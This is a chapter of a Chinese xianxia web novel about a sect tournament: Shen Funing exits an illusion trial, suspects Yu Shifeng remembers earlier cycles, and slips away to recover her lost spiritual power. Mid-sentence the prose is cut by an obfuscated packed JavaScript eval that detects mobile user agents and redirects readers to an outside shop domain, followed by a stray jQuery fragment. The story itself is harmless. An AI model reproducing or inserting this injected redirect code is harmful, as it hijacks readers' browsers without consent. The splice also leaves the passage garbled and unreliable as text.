“我也不感兴趣。”沈复宁含糊其辞。
她说完这句话后,气氛陡然安静了下来。
沈复宁觉得无聊,往前走了两步,想回去。
“你要离开吗?”俞时逢突然出声,让她顿了下。
“啊,什么?”沈复宁停下脚步,装作听不懂他的意思,企图蒙混过去。
俞时逢看着她,解释道,“今日你总是心不在焉,我想你应该有自己的打算,没有跟我们说。”
沈复宁偏了偏头,“怎么会这样想?”
沈复宁低下了头,俞时逢笑了出来,沈复宁抬眼朝他看去,触及的是他满眼的揶揄。
俞时逢摇头,没说什么,只是觉得有趣,她可能自己都没有发现,每当没准备好说辞的时候,总是会将原本就大的眼睛睁的更大,希望对方能够看到她眼中的真诚,从而不在为难她,就像现在。
沈复宁觉得他莫名其妙,往前走了一步,
“所以要离开吗?”俞时逢看着她的背影,重复了一遍。
沈复宁却没有办法再装下去了,转过身,双手一摊,“没想好。”
“为什么?”
沈复宁也不管他究竟能不能听懂,毫不犹豫地将自己的纠结直白地讲了出来:“在这里我能做到所有之前没能做到的,能够抛下所有的一切,所以,为什么不呆在这里呢?”
沈复宁朝俞时逢笑了下,没有给俞时逢回应的时间,自顾自地就说了起来,“哪怕刚刚师姐在我面前倒下,我也能在心神晃动的下一秒想到这都是假的,这里不会死人,没有灾难,更不用自以为很厉害的去当什么救世主,最后狼狈收场。”
“但这些都是假的,我好像骗不了自己。”沈复宁突然醒悟一般,自嘲一笑,拍了拍俞时逢的肩膀,“虽然目前不知道你能察觉到什么……”顿了顿,继续说,“但就这样吧。”
沈复宁走到那扇停留在那里许久的门前,转身朝他摆了摆手,“替我跟他们说一声,外面见。”
俞时逢僵了下,眼睛一直盯着沈复宁,抿了下唇,往前走了一步,便没再动。
“快看,快看,她出来了。”
“切,也没那么厉害,这么久了才醒过来。”
“就是,若是我的话,最起码能比她早一刻钟醒来。”
“看来心性不怎么样嘛。”
外面的观众不知道什么时候又转移了过来,坐的高高在上,说出的话也一样,轻蔑,明明什么都没做,却总认为自己能做的更好。
沈复宁听着听着就笑了出来,瞥了眼自己的手腕,朝观众那边看了一眼,漫不经心的举起了自己的手腕。
也不知那个眼神好的人看到了她,惊呼一声,“你们快看,渡妄荆是不是没有一丝作用啊。”
此话一出,观众席静了一瞬,猫头鹰一般齐齐朝沈复宁的手腕望了过去。
“好像是,她的手腕上没有伤。”
“我去,这说明什么。”
“说,说明,她压根没被影响。”
“胡说的吧,一个人能真的什么都不想要。”
沈复宁听到了这一句,将自己的手腕抬起来认真看了看,倒也不是,上面多了些红痕,只不过没有到流血的程度而已。
“还有一个,他手上好像也没有伤。”
有人惊呼,沈复宁原以为自己就是最后一个了,没想到还有人在自己后面,她偏头看了一眼,不由得吃惊,竟然是俞时逢。
眼神转去他的手腕,并不是没有伤,只是点滴血迹凝固,被那渡妄荆挡住了,台上的观众无法直接看到而已。
许是被沈复宁盯得有些不自在,俞时逢将手往身后藏了藏,引得沈复宁朝她看了过去。
俞时逢冲她笑了笑,沈复宁点了点头,心中却暗暗思量了起来,俞时逢不对劲。
她抬脚想要朝俞时逢走过去,刚走没两步,台上就有声音传出来,“恭喜大家通过第二轮。”
说完大手一挥,一截乳白色的细绳便代替了场上人原本手腕上带着的渡妄荆。
归安镯,云纹灵丝拧编而成,镯内封存一道单程空间锚点,断裂瞬间催动传送阵,将佩戴者强行送到锚点。
仙门大比用来保证参赛弟子性命的东西,只要佩戴者扯断,瞬间传送到场外,所属门派会派人医治。
沈复宁停下脚步,朝四周望了望,除了她与俞时逢,场中大部分人都围在姜柳依身旁,看着花雾姒那略带嫌弃的眼神,沈复宁不用猜也知道,姜柳依大概在卖她的丹药了。
尤璟和姬齐结呆在楚予的身旁,看着楚予那眼神,也知道她的符咒找到新的实验者。
“一刻钟休整时间,钟声响起,众人进门。”又一道传送门出现在了大家的面前,这门直通云墟底部。
“祝各位,大比顺利。”长老说完这番话,身影消失的无影无踪,只剩下面面相觑的参赛者观众对这最后一轮来的措不及防的讨论。
沈复宁看着场上剩下的堪堪百人有些懵的眼神,笑了笑,她自己都要忘记了。
这第三轮是在第二轮刚结束没多久就开始了,参赛者需要在三天内采到蕴灵草。
蕴灵草百年一长,数量不多,能长几株全凭运气,参赛者能否遇到也全凭运气,它生长在云墟的下面,仙门大比每次的最后一轮总是这个。
就算能碰到,也没有用,可能会有凶兽守在它的四周,为了拿到那蕴灵草总会有人冒险去与那凶兽硬碰硬的。
单凭他们现在的能力不可能打得过那凶兽,只能合作,但前提是有人愿意去救你。
反正这仙门大比不可能要你性命,就算丧命了也怪不到人家头上,毕竟人家给了你保命的手段,你自己不用。
沈复宁想了想,上一次这场比赛好像没有人丧命,但有人和凶兽对上了,出手相助的人却寥寥无几。
想来也是,既然不会有人因此丧命,也就对于是否出手救人这一选择没了心里压迫,就算丧命了,也能反过来说一句,他自己不扯断那镯子,关我何事。
所以,这一场考验的更多的是参赛者的善心几何,以及团体作战水平。
“想什么呢?”楚予不知何时走到了沈复宁的身旁,“心情这么不好?”
“心情不好?”沈复宁不知道楚予从哪里看出来的,她倒是觉得自己现在的心情前所未有的好,却也不想解释什么,看着她手上贴着的符,问:“有用吗?”
“没达到预期。”
沈复宁点了点头,却知道不能让楚予同自己呆在一起,不然若是一同在云墟底部,她就找不到机会离开,收回自己的灵力了。
沈复宁垂头,眼神四处乱瞟,最后瞅到了正在往这边走的姜柳依和花雾姒,她抬脚就迎了上去,心中计算着剩余的时间。
楚予对她的动作摸不着头脑,只是默默跟在她的身后,揣测她家师妹究竟在想些什么。
沈复宁朝楚予伸出手,“小鱼儿,符给我一张。”
楚予无奈的看了她一眼,掏出一张愈伤符放在了她手中。
姜柳依看着那张符咒起了兴趣,当即就从沈复宁手中拿了过来,沈复宁愣了瞬,抬眼朝她看了过去。
偏偏姜柳依习以为常一样,丝毫没觉得自己从沈复宁手中拿走东西有什么不对的地方。
“嘶,疼。”姜柳依打了掐自己的花雾姒一下,“你掐我做什么?”
花雾姒朝她笑了笑,姜柳依才想到什么一样,带着歉意对沈复宁说:“不好意思,在药王谷顺手习惯了。”
沈复宁没说什么,只是问:“治疗这方面你们药王谷是最拿手的,你看看这张符的治疗效果能不能提高。”
楚予来了兴趣,“我融合了好几种咒术,改变了灵力在符中的运行方式,效果都不到预期。”
姜柳依默不作声地朝她们伸出了手,楚予无语的看着她,点了点头,“行,只要你帮我提升效果,出去后给你一百灵石。”
“姨母怎么就教出你这么个钻进钱眼里的东西。”
姜柳依早就习惯了花雾姒的挖苦,朝她甩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845620|211731||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了甩手,对楚予说了句成交,问她:“你都融合了哪几种咒术?”
花雾姒对这些不感兴趣,转头想与沈复宁聊天,可明明刚刚还在的人,现在却没了影。
沈复宁在楚予开口之后,便不动声色的离开了,就冲着楚予对符的认真程度,压根不会发现自己离开,也就不到一刻钟了,可能楚予还没有请教完,就已经要进门了。
沈复宁脸上挂上了笑,将眼神转到了俞时逢身上,俞时逢身上像是安了个感应器一样,刚看他一秒,就抬眼朝她看了过去。
“确实与之前几次都不一样。”沈复宁明目张胆地盯着他,没有丝毫被抓包的拘谨,反倒陷入了沉思。
她看着俞时逢朝自己走过来,眼神飘忽最后死死钉在了他那柄剑上。
“在想什么?”
沈复宁缓缓抬头,吞了口唾沫,亮光一闪,缓缓抬头,不可置信的喊他,“俞时逢。”
“咚——咚——咚——”
钟声响起,他们应该进门了。
沈复宁看了眼正在往这边走的楚予,对俞时逢说:“大比结束后,亥时栖云亭见一面。”
留下这一句话,便匆匆往门那边赶,她必须避开所有人,才能安心的去找自己的灵力,想到这,沈复宁加快了脚步。
进了门,她没有心情想周围一样感叹着云墟底部像画卷一般的奇观,急匆匆的往里面走,最后停在了一个岔路口,躲在了一个两手合抱才能抱住的灵芝下面,借着它庞大的体型遮挡自己的身体,也能让她看清楚予和俞时逢往哪边走了,自己好躲一下。
灵力缺失又无法修炼回去的事情若是让他俩知道不仅是引起他们的担心,楚予在平常的事情上会替自己遮掩,但此事关系到她的身体,楚予一定会报告给师父的。
除了这点,如果她的猜测没错,俞时逢不知为何也有之前几次的记忆,那灵力的事情也绝对不能让他知道。
若是灵力拿回了皆大欢喜,若是没有,也只是带着更多的人为自己这件小事担心。
只需要这三天,让她将那离开体内的灵力收回来就好了,到那时候一切都神不知鬼不觉,谁也不会知道自己经历了什么。
那灵度盘上显示显示的灵力就是现在这个阶段所有的,灵力恢复之后,就能安心修炼,好好长修为,然后再去算账。
她抬起手,自从进来这里,那波动便越来越明显。
虽然不知道出了什么问题才导致她的灵力没有被吸收,但她很乐意看到这个情况。
她放下手,鬼鬼祟祟的扒着这巨型灵芝,看着一茬又一茬的人从她面前走过,就是没看见应该看见的人,不耐烦的摸了摸头,“刚刚走了?”她想。
正当准备放弃的时候,就看见了楚予的身影,她跟姜柳依,花雾姒一起进来的,没多久尤璟和姬齐结也走了进来。
沈复宁有些奇怪,楚予和姜柳依,花雾姒两人一起进来她能理解,毕竟自己将她撂在那了,但尤璟和姬齐结关系刚开始有这么好吗?
没有吧……应该。
还是说在她没去吃的那顿饭上,发生了点什么,她不知道的事情。沈复宁摇了摇头,将这些有的没从自己的脑中甩出去,现在当务之急是确定没有人会跟自己同一路线。
她聚精会神盯着那扇门,看着俞时逢踩着门关闭的最后一刻走进来,又眼睁睁的看着他朝着自己灵力的方向走去,无奈的拍了下额头。
怎么光顾着害怕在拿回灵力的途中遇见他们,却忘记了他们也是有可能走上自己要走的那条路的。
沈复宁恨铁不成钢的叹了口气,最后没招了,跟在了俞时逢的身后,反正稍稍一靠近他就能察觉到,倒不如直接跟他一起去了。
她一咬牙,跟了上去,俞时逢也停下了脚步,沈复宁不满的“啧”了声,就知道会这样了。
“沈复宁。”
“干嘛。”她不耐烦的应道。
俞时逢转过身,认真的看着她,对她说:“不用去栖云亭了,我现在就能告诉你。”